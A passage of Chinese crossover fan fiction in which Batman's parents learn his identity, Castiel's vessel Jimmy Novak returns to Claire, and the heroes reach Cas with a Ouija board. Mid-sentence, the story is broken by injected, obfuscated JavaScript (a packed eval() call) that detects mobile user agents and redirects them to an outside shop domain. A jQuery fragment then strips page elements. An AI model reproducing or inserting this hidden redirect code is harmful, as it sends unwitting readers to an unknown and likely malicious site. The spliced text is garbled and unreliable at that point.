一阵静默后，玛莎看向一旁面色震撼的几人，缓缓问道：“哥谭有几个蝙蝠侠？”
几人对视了一会儿，迪克被他们暗暗戳了好几下，尴尬回答道：“呃，我想只有一个。”
“哦。”玛莎眨了眨眼，消化了一阵这个消息，看着布鲁斯认真问，“我以为你害怕蝙蝠。”
“是的。”布鲁斯轻声说，然后在玛莎的注视下微笑起来，又重复了一遍，“是的。”
旁边好像有人在吸气。
“这危险吗？”玛莎又问。
布鲁斯这一次没有说话，玛莎也不需要他的回答。
“也许我这句话说得太晚了，毕竟已经过了那么多年......”玛莎顿了顿，将手搭上布鲁斯的肩膀，“但我想告诉你，我们为你骄傲。”
“这不晚，”布鲁斯沉默了一会儿，说道，“这很棒。听到你们这么说对我意义非常。”
吸冷气的声音更响了——主动表露身份的蝙蝠侠已经够诡异了，而袒露感情的蝙蝠侠简直是闻所未闻——迪克甚至已经在偷偷编辑短信向温彻斯特兄弟询问制作圣水的工序了。
短信还没有发送出去，一条信息弹出。他疑惑地看了一眼坐在身边的发信人——提姆，然后在提姆的眼神示意下点开了消息。
那是一张康斯坦丁和布鲁斯对话消息的截图。
消息内容很简短，康斯坦丁说了一则来自天使的消息：不久前，有一群恶魔闯进天堂，抢走了一部分的灵魂。
**
“卡斯，你能不能把你的屁股从天堂上挪下来，我已经向你祈祷了六......”电话终于接通后，迪恩抱怨道。
“如果你还记得的话，提醒一句，我回不了天堂了。”熟悉的低沉声音从电话那头传来，带着些轻微的恼怒。
“哦。”迪恩的表情一下子僵住了，嘴张合几次，在原地踱了几步，讷讷地低声说了句，“抱歉，只是说习惯了。”
“我知道。”嘶嘶的电流声过后，迪恩隐约听见了轻微的翅膀扑棱声，卡斯迪奥的声音疑惑地上扬，“你可以开个门吗？”
“怎么？你不能‘咻’地一下就出现在......”迪恩开门后看着几乎是贴着门槛站立着的卡斯迪奥沉默了一会儿，“你该庆幸这门是朝里面开的。”
卡斯迪奥没听懂，歪着头皱眉看他。
迪恩往旁边退了一步：“怎么？还需要我郑重地邀请你进来吗？”
“这里有什么东西......”卡斯迪奥皱着眉头感受了一阵，“我进不去。”
迪恩还没反应过来，萨姆从椅子上跳了起来，开始掀沙发下的地毯：“防御符咒！”
他们最后从一副装饰画后面找到了以诺语的咒文，正与恶魔符咒毗邻。几人将屋子里翻了个遍都没有找到可以用来涂改的油漆和笔刷，迪恩不耐烦地咕哝了一句：“也许我该直接开一枪。”
“呃，或者我们到外面找个地方聊。”萨姆说。
“迪恩。”卡斯迪奥突然短促地唤了一声，“好像有什么不对......”
他身体晃了晃，倒在了门口。
“卡斯！”迪恩翻抽屉翻到一半，刚站起来，还没来得及走到门口，就看到卡斯迪奥又扶着门框站了起来。分明还是那张脸，那身穿到皱皱巴巴的风衣，迪恩却感到有些微妙的不同。
他看起来站得更直了，神情依旧带着茫然，但不像往常那样外露。
“我在哪儿？”那是一个截然不同的声音，没那么低沉沙哑，听起来还有几分耳熟。
萨姆睁大了眼，率先反应过来：“吉米？”
“吉米·诺瓦克？”迪恩不可思议地看向那个正不自在地调整领带的身影，“我以为他已经死了？”
“我确实死了。”吉米说，“我记得我跟着卡斯迪奥被炸成了碎片，还上了天堂。”
“那卡斯......”
刺耳的巨响突然响彻屋子，所有的门窗、地板都随着巨大的音浪开始颤动，人们痛苦地蹲下身子捂住耳朵。下一秒，所有的玻璃崩碎，炸了一地。伊琳及时低下了头，却感到脖子上落满了凉飕飕的玻璃渣，不敢动弹。
“这是什么鬼东西？”博士的感知比人类更强，受到的影响也更大，他甚至都已经开始维持不住蹲的姿势，即将一头栽进玻璃渣中。
“卡斯！”迪恩恼怒地喊道，“我听不懂你在说什么！你可以安静一下吗！”
巨响停息了。
“谢了伙计。”迪恩直起身，抖落了一下夹克上的玻璃渣，撸了把头发，看着博士狼狈的样子笑了起来，“看来你的蓝盒子翻译不了天使语？”
“我现在开始觉得哭泣天使不是最糟糕的了。”
“嘿，卡斯，很高兴知道你没事。”萨姆抖了抖头发，对着窗外说道，“你知道这是怎么回事吗？”
尖利的噪音再一次响起。
“哦，卡斯，停下！”在屋子恢复安静后，萨姆叹了口气，“抱歉，我不该问的。”
吉米站在门口犹疑着，伊琳走上前去，好奇地打量了他几眼：“你是不是有个女儿叫克莱尔？”
吉米的眼睛一下子亮了起来。
**
克莱尔在迪恩心中一直是个像刺猬一样的小姑娘，她看起来总是怒气冲冲的，说话带刺，但真正熟悉了又能感受到她用强势所掩藏的柔软与悲伤。
这是迪恩第一次看见克莱尔那么不加掩饰的开心。
她拥抱了吉米，整个人都挂在了他的肩上，甚至还哭了；她也拥抱了伊琳，她甚至还转过身抱了萨姆和迪恩一下：“谢谢，谢谢你们。”
迪恩的手僵在身侧，过了几秒才反应过来，轻轻拍了拍她的后背：“好好生活。”
父女二人离开的时候，迪恩有一点想要出口阻拦，却被萨姆给制止了：“迪恩，没关系的，他们还会留在哥谭一阵子。”
问题是，哪怕他们真的想要远远地离开、消失得无影无踪，迪恩也没有立场去制止——除了用“为了你们的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426240|136106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
安全”当借口以外。
吉米这个可怜的家伙的生活已经被这个烂摊子搅得一团糟，他甚至还真真切切地死了一次，克莱尔更是承受了太多她本不该承受的东西。
但同时，卡斯的真身还在外面徘徊着。
他希望卡斯不会再去找一个无辜的人类当皮囊，但这就意味着他们没有任何沟通的途径，他们会失去一个可靠的盟友，和朋友。
“塔迪斯真的不能翻译天使语吗？”伊琳托着下巴，双腿悬空坐在厨房的吧台前，看着布满玻璃渣难以落脚的地面，“我以为塔迪斯翻译的原理是读心？那应该没什么语言障碍吧。”
“是的，”博士翻了一个白眼，“如果他能够稍微轻声细语一些，降低些能量场，我想塔迪斯可以试试看。”
迪恩眼睛一亮：“卡斯，你听到了吗？”
回应他的是又一次的巨响，仅存的一只玻璃杯也炸开了。
“你还是不要说话了。”伊琳痛苦地皱起了脸，“他可是天使，就没有什么不用通过空气传播声音的沟通方式吗？”
“他可以来我的梦里。”迪恩突然想了起来，“或许我们可以试试。”
“还有一种方法值得尝试，”萨姆兴奋地看向迪恩，“和无形的超自然力量沟通的方式，记得吗？”
“什么？”
“我去把东西买回来！”
**
“通灵板？”迪恩看着萨姆买回来的道具，难以置信地挑起眉毛，“你认真的？你要用通灵板和天使对话？”
迪恩听起来一点都不买账。萨姆不服气地反驳道：“这说得通。而且试一试不会有任何伤害。”
“好吧。”迪恩翻了个白眼，“那我们现在要干什么？围成一个圈还是什么？”
事实证明，他们不但需要围成一个圈，还需要把手搭在中心的木块上，并且虔诚地低下头呼唤灵体的降临。
迪恩能听见旁边杰克憋不住的笑声，木板上放了五个人的手也显得有些拥挤。他不自在地挪了下身子，清了清嗓子，用一种破罐子破摔、不走心地语气说道：“卡斯，你在吗？”
他随意喊了几声，正要说服萨姆放弃这个荒谬的行为，突然听见了木料摩擦的声音。
木块轻微地挪动了。
“有人在使力吗？”他怀疑地眯起了眼睛。
得到否定答案的同时，木块的移动停止了，标着箭头的棱角指向了通灵板边缘大大的“YES”。
“哦。”他眨了眨眼，“好吧，下一个问题，哥谭最近有很多死人复活，现在连吉米都复活了，你知道是怎么回事吗？”
箭头艰难地移动，指向了“NO”。
迪恩叹气到一半，才发现木板继续缓慢移动着，他跟着箭头指向的字母一个个拼读着：“ILL-EAVESDROP-ANGEL-RADIO。”
“好吧，去偷听天使电台吧。”迪恩顿了顿，然后不放心地补充道，“得到消息以后通知我们的时候温柔点儿。”